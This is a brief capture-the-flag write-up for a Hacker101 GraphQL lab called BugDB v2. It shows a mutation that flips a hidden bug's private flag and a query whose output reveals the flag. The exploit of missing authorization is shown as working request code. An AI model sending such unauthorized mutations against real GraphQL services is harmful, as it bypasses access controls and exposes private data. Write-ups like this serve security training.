Hacker1 CTF - BugDB v2

Mutations FTW!

Flag 0

More basic GraphQL work. This time only one bug appears when queried from the DB, but I'll bet there are two bugs. One must be set to private. Easily fixed with a mutation:

Write

mutation Hack($id: Int, $p: Boolean!) {
  modifyBug(id: $id, private:$p) {
    bug {
      private,
      text
    }
  }
}

Query Variables:

{"id": 2, "p": false}

Read

query Buggy {
  allBugs {
    text,
    private,
    id
  }
}
{
  "data": {
    "allBugs": [
      {
        "text": "This is an example bug",
        "private": false,
        "id": "QnVnczox"
      },
      {
        "text": "^FLAG^{flag}$FLAG$",
        "private": false,
        "id": "QnVnczoy"
      }
    ]
  }
}

Flag captured!